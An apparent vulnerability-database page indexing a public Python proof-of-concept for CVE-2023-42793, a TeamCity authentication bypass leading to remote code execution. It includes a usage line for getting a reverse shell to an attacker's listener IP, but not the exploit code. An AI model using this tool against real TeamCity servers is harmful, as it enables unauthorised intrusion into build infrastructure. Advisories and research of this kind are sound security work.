CVE-2023-42793 PoC — JetBrains TeamCity 安全漏洞

Source

https://github.com/hotplugin0x01/CVE-2023-42793

Associated Vulnerability

Title: JetBrains TeamCity 安全漏洞 (CVE-2023-42793)
Description:In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible

Description

JetBrains TeamCity Unauthenticated Remote Code Execution - Python3 Implementation

Readme

# CVE-2023-42793
JetBrains TeamCity before 2023.05.4 is vulnerable to authentication bypass leading to RCE

# Usage
To get a reverse shell
```bash
python3 exploit.py <target_url> <listener_ip> <listener_port>
```

# References
https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/</br>
http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html</br>
https://nvd.nist.gov/vuln/detail/cve-2023-42793

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →